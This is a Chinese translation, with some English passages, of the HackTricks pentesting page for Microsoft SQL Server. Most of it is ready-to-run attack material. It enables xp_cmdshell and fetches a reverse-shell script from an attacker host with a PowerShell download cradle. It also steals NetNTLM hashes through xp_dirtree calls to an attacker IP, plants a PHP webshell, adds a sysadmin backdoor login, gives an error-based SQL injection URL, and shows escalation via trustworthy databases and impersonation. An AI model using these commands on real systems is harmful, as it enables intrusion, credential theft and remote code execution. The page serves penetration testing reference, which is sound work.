hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server
2023-10-11 22:49:00 +00:00
..
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2023-10-11 22:49:00 +00:00
types-of-mssql-users.md Translated to Chinese 2023-08-03 19:12:22 +00:00

1433 - Pentesting MSSQL - Microsoft SQL Server

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。立即免费试用

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


基本信息

Microsoft SQL Server是由Microsoft开发的关系型数据库管理系统。作为数据库服务器,它是一个软件产品,其主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。
来自wikipedia

默认端口: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

默认的MS-SQL系统表

  • master数据库记录SQL Server实例的所有系统级信息。
  • msdb数据库被SQL Server Agent用于调度警报和作业。
  • model数据库用作在SQL Server实例上创建的所有数据库的模板。对model数据库进行的修改如数据库大小、排序规则、恢复模型和其他数据库选项将应用于之后创建的任何数据库。
  • Resource数据库是一个只读数据库包含SQL Server附带的系统对象。系统对象在Resource数据库中物理上持久存在但在每个数据库的sys模式中逻辑上出现。
  • tempdb数据库:是一个用于保存临时对象或中间结果集的工作空间。

枚举

自动枚举

如果对服务一无所知:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} 如果您没有凭据可以尝试猜测它们。您可以使用nmap或metasploit。请注意如果您使用现有用户名多次登录失败可能会锁定帐户。 {% endhint %}

Metasploit需要凭据

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

暴力破解

手动枚举

登录

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

常见枚举

Service Detection
服务检测

To begin with, we need to identify if the target system is running Microsoft SQL Server. We can use various methods to achieve this.

首先我们需要确定目标系统是否正在运行Microsoft SQL Server。我们可以使用各种方法来实现这一点。

One common method is to use a port scanning tool like Nmap to scan for open ports on the target system. By default, Microsoft SQL Server listens on TCP port 1433. If this port is open, it indicates that the system may be running Microsoft SQL Server.

一个常见的方法是使用端口扫描工具如Nmap扫描目标系统上的开放端口。默认情况下Microsoft SQL Server监听TCP端口1433。如果该端口开放表示系统可能正在运行Microsoft SQL Server。

Another method is to use banner grabbing to obtain information about the running services on the target system. This can be done using tools like Telnet or Netcat. By connecting to the target system on port 1433 and examining the banner response, we can determine if Microsoft SQL Server is running.

另一种方法是使用横幅抓取来获取有关目标系统上正在运行的服务的信息。可以使用Telnet或Netcat等工具来完成。通过连接到目标系统的1433端口并检查横幅响应我们可以确定是否正在运行Microsoft SQL Server。

Version Detection
版本检测

Once we have identified that the target system is running Microsoft SQL Server, the next step is to determine the version of the server. This information can be useful in identifying potential vulnerabilities and selecting appropriate exploitation techniques.

一旦确定目标系统正在运行Microsoft SQL Server下一步是确定服务器的版本。这些信息可以帮助我们识别潜在的漏洞并选择适当的利用技术。

One way to determine the version is by querying the server using SQL statements. For example, we can execute the following query to retrieve the version information:

确定版本的一种方法是使用SQL语句查询服务器。例如我们可以执行以下查询以检索版本信息

SELECT @@VERSION;

This query will return the version information of the Microsoft SQL Server.

此查询将返回Microsoft SQL Server的版本信息。

Another method is to use tools like Nmap or Metasploit to perform version detection. These tools have built-in scripts and modules that can identify the version of Microsoft SQL Server running on the target system.

另一种方法是使用Nmap或Metasploit等工具进行版本检测。这些工具具有内置的脚本和模块可以识别目标系统上运行的Microsoft SQL Server的版本。

Enumeration of Databases
数据库枚举

Once we have identified the version of Microsoft SQL Server, we can proceed with enumerating the databases hosted on the server. This step is important as it allows us to gather information about the structure and content of the databases, which can be useful in further exploitation.

一旦确定了Microsoft SQL Server的版本我们可以继续枚举托管在服务器上的数据库。这一步骤很重要因为它允许我们收集有关数据库的结构和内容的信息这对进一步的利用非常有用。

There are several methods to enumerate databases in Microsoft SQL Server. One common method is to use SQL statements to query the server for a list of databases. For example, we can execute the following query to retrieve the names of all databases:

有几种方法可以枚举Microsoft SQL Server中的数据库。一种常见的方法是使用SQL语句查询服务器以获取数据库列表。例如我们可以执行以下查询以检索所有数据库的名称

SELECT name FROM sys.databases;

This query will return the names of all databases hosted on the server.

此查询将返回托管在服务器上的所有数据库的名称。

Another method is to use tools like Nmap or Metasploit, which have built-in scripts and modules for enumerating databases in Microsoft SQL Server.

另一种方法是使用Nmap或Metasploit等工具这些工具具有用于枚举Microsoft SQL Server中数据库的内置脚本和模块。

Enumeration of Tables and Columns
表和列的枚举

Once we have identified the databases hosted on the server, the next step is to enumerate the tables and columns within each database. This step is crucial as it allows us to identify sensitive data and potential targets for further exploitation.

一旦确定了托管在服务器上的数据库,下一步是枚举每个数据库中的表和列。这一步骤非常重要,因为它允许我们识别敏感数据和进一步利用的潜在目标。

To enumerate tables and columns, we can use SQL statements to query the server. For example, we can execute the following query to retrieve the names of all tables within a specific database:

为了枚举表和列我们可以使用SQL语句查询服务器。例如我们可以执行以下查询以检索特定数据库中所有表的名称

SELECT name FROM sys.tables;

This query will return the names of all tables within the specified database.

此查询将返回指定数据库中所有表的名称。

Similarly, we can execute SQL statements to retrieve the names of columns within a specific table. For example, we can execute the following query to retrieve the names of all columns within a table:

类似地我们可以执行SQL语句来检索特定表中列的名称。例如我们可以执行以下查询以检索表中所有列的名称

SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('table_name');

This query will return the names of all columns within the specified table.

此查询将返回指定表中所有列的名称。

There are also tools like Nmap or Metasploit that have built-in scripts and modules for enumerating tables and columns in Microsoft SQL Server.

还有一些工具如Nmap或Metasploit它们具有用于枚举Microsoft SQL Server中表和列的内置脚本和模块。

Enumeration of Users and Privileges
用户和权限的枚举

Another important aspect of enumeration is to identify the users and their privileges within the Microsoft SQL Server. This information can help us in understanding the access levels and potential targets for privilege escalation.

枚举的另一个重要方面是确定Microsoft SQL Server中的用户及其权限。这些信息可以帮助我们了解访问级别和潜在的特权升级目标。

To enumerate users and their privileges, we can use SQL statements to query the server. For example, we can execute the following query to retrieve the names of all users within the server:

为了枚举用户及其权限我们可以使用SQL语句查询服务器。例如我们可以执行以下查询以检索服务器中所有用户的名称

SELECT name FROM sys.syslogins;

This query will return the names of all users within the server.

此查询将返回服务器中所有用户的名称。

Similarly, we can execute SQL statements to retrieve the privileges assigned to a specific user. For example, we can execute the following query to retrieve the privileges assigned to a user:

类似地我们可以执行SQL语句来检索分配给特定用户的权限。例如我们可以执行以下查询以检索分配给用户的权限

EXEC sp_helpuser 'username';

This query will return the privileges assigned to the specified user.

此查询将返回分配给指定用户的权限。

There are also tools like Nmap or Metasploit that have built-in scripts and modules for enumerating users and their privileges in Microsoft SQL Server.

还有一些工具如Nmap或Metasploit它们具有用于枚举Microsoft SQL Server中用户及其权限的内置脚本和模块。

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

获取用户

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

获取权限

关于MSSQL术语的一些介绍

  1. 可保护资源Securable 这些是SQL Server数据库引擎授权系统控制访问的资源。可保护资源可以分为三个更广泛的类别
  • 服务器 - 例如数据库、登录、端点、可用性组和服务器角色
  • 数据库 - 例如数据库角色、应用程序角色、模式、证书、全文目录、用户
  • 模式 - 例如表、视图、存储过程、函数、同义词
  1. 权限Permission 每个SQL Server可保护资源都有关联的权限如ALTER、CONTROL、CREATE可以授予给主体。权限在服务器级别使用登录名进行管理在数据库级别使用用户进行管理。
  2. 主体Principal 接收对可保护资源的权限的实体称为主体。最常见的主体是登录名和数据库用户。通过授予或拒绝权限,或将登录名和用户添加到具有访问权限的角色中,来控制对可保护资源的访问。
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

技巧

执行操作系统命令

{% hint style="danger" %} 请注意,要能够执行命令,不仅需要启用 xp_cmdshell,还需要对 xp_cmdshell 存储过程具有 EXECUTE 权限。您可以使用以下命令查看(除 sysadmins 外)可以使用 xp_cmdshell 的用户:

Use master
EXEC sp_helprotect 'xp_cmdshell'

{% endhint %}

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net'

窃取NetNTLM哈希值 / 中继攻击

您应该启动一个SMB服务器来捕获在身份验证中使用的哈希值(例如impacket-smbserverresponder)。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

{% hint style="warning" %} 您可以使用以下命令检查除系统管理员之外的用户是否具有运行这些MSSQL函数的权限

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

{% endhint %}

使用诸如responderInveigh之类的工具,可以窃取NetNTLM哈希
您可以在以下位置了解如何使用这些工具:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

滥用MSSQL的可信链接

阅读此文章 以获取有关如何滥用此功能的更多信息:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

写入文件

要使用MSSQL写入文件,我们需要启用Ole Automation Procedures,这需要管理员权限,然后执行一些存储过程来创建文件:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

使用 OPENROWSET 读取文件

默认情况下,MSSQL 允许在操作系统中具有读取权限的任何文件上进行读取。我们可以使用以下 SQL 查询语句:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

然而,BULK 选项需要 ADMINISTER BULK OPERATIONSADMINISTER DATABASE BULK OPERATIONS 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

基于错误的SQLi攻击向量

This technique involves exploiting SQL injection vulnerabilities by manipulating the application to generate error messages that reveal sensitive information about the database structure or data. By injecting malicious SQL statements, an attacker can force the application to produce error messages that provide valuable insights into the underlying database.

这种技术涉及利用SQL注入漏洞通过操纵应用程序生成错误消息来揭示有关数据库结构或数据的敏感信息。通过注入恶意的SQL语句攻击者可以迫使应用程序产生错误消息从而提供有关底层数据库的有价值的见解。

The error-based vector for SQL injection can be used to extract information such as table names, column names, and even data from the database. By carefully crafting SQL statements that intentionally cause errors, an attacker can gather valuable information that can be used for further exploitation.

SQL注入的基于错误的向量可以用于提取诸如表名、列名甚至数据库中的数据等信息。通过精心构造故意引发错误的SQL语句攻击者可以收集有价值的信息以便进一步利用。

It is important to note that error-based SQL injection attacks can be time-consuming and may require trial and error to identify the correct syntax and exploit the vulnerability successfully. However, they can be highly effective in extracting sensitive information from a vulnerable application.

需要注意的是基于错误的SQL注入攻击可能耗时并且可能需要反复尝试以识别正确的语法并成功利用漏洞。然而它们在从易受攻击的应用程序中提取敏感信息方面非常有效。

To protect against error-based SQL injection attacks, it is crucial to implement proper input validation and parameterized queries in the application code. Regular security assessments and penetration testing can also help identify and mitigate SQL injection vulnerabilities before they can be exploited by attackers.

为了防止基于错误的SQL注入攻击关键是在应用程序代码中实施适当的输入验证和参数化查询。定期进行安全评估和渗透测试也可以帮助在攻击者利用之前识别和减轻SQL注入漏洞。

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/读取文件执行脚本Python和R

MSSQL可以让您执行Python和/或R脚本。这些代码将由一个不同的用户执行,而不是使用xp_cmdshell执行命令的用户。

尝试执行一个**'R'** "Hellow World!" 不起作用的示例:

使用配置的Python执行多个操作的示例

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

读取注册表

Microsoft SQL Server提供了多个扩展存储过程允许您与网络、文件系统甚至Windows注册表进行交互:

常规 实例感知
sys.xp_regread sys.xp_instance_regread
sys.xp_regenumvalues sys.xp_instance_regenumvalues
sys.xp_regenumkeys sys.xp_instance_regenumkeys
sys.xp_regwrite sys.xp_instance_regwrite
sys.xp_regdeletevalue sys.xp_instance_regdeletevalue
sys.xp_regdeletekey sys.xp_instance_regdeletekey
sys.xp_regaddmultistring sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring sys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

要查看更多示例,请访问原始来源

使用MSSQL用户定义函数进行远程命令执行RCE- SQLHttp

可以使用自定义函数在MSSQL中加载.NET dll。然而这需要dbo访问权限,因此您需要使用sa或管理员角色的数据库连接。

单击此链接查看示例。

其他RCE方法

还有其他方法可以实现命令执行,例如添加扩展存储过程CLR程序集SQL Server代理作业外部脚本

查找最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。立即免费试用

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


MSSQL权限提升

从db_owner到sysadmin

如果将普通用户赋予**db_owner角色,该角色拥有由管理员用户(例如sa)拥有的数据库,并且该数据库配置为trustworthy**,那么该用户可以滥用这些权限进行权限提升,因为在其中创建的存储过程可以作为所有者(管理员)执行。

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

您可以使用metasploit模块:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

或者一个 PS 脚本:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

冒充其他用户

SQL Server有一个特殊的权限名为**IMPERSONATE**,它允许执行用户扮演另一个用户或登录,直到上下文被重置或会话结束。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

{% hint style="info" %} 如果你能冒充一个用户即使他不是sysadmin你应该检查该用户是否有访问其他数据库或链接服务器的权限。 {% endhint %}

请注意一旦你成为sysadmin你可以冒充任何其他用户

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

您可以使用metasploit模块执行此攻击:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

或者使用 PS 脚本:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

使用MSSQL进行持久化

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

从SQL Server Linked Servers中提取密码

攻击者可以从SQL实例中提取SQL Server Linked Servers的密码并以明文形式获取这些密码从而为攻击者获取用于在目标上获得更大立足点的密码。 可以在此处找到提取和解密存储的Linked Servers密码的脚本。

为使此漏洞利用工作,需要进行一些要求和配置。 首先您必须具有机器上的管理员权限或者具备管理SQL Server配置的能力。

在验证权限后,您需要配置以下三个内容:

  1. 在SQL Server实例上启用TCP/IP
  2. 添加一个启动参数,这里将添加一个跟踪标志,即-T7806
  3. 启用远程管理员连接。

为了自动化这些配置,此存储库提供了所需的脚本。 除了为每个配置步骤提供一个PowerShell脚本外该存储库还提供了一个完整的脚本将配置脚本与密码的提取和解密结合在一起。

有关此攻击的更多信息,请参考以下链接: 解密MSSQL数据库链接服务器密码

解决SQL Server专用管理员连接的问题

本地权限提升

运行MSSQL服务器的用户将启用特权令牌SeImpersonatePrivilege
您可能能够通过以下两种方式之一升级为管理员:

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}

Shodan

  • port:1433 !HTTP

参考资料

找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。立即免费试用

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


HackTricks自动命令

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥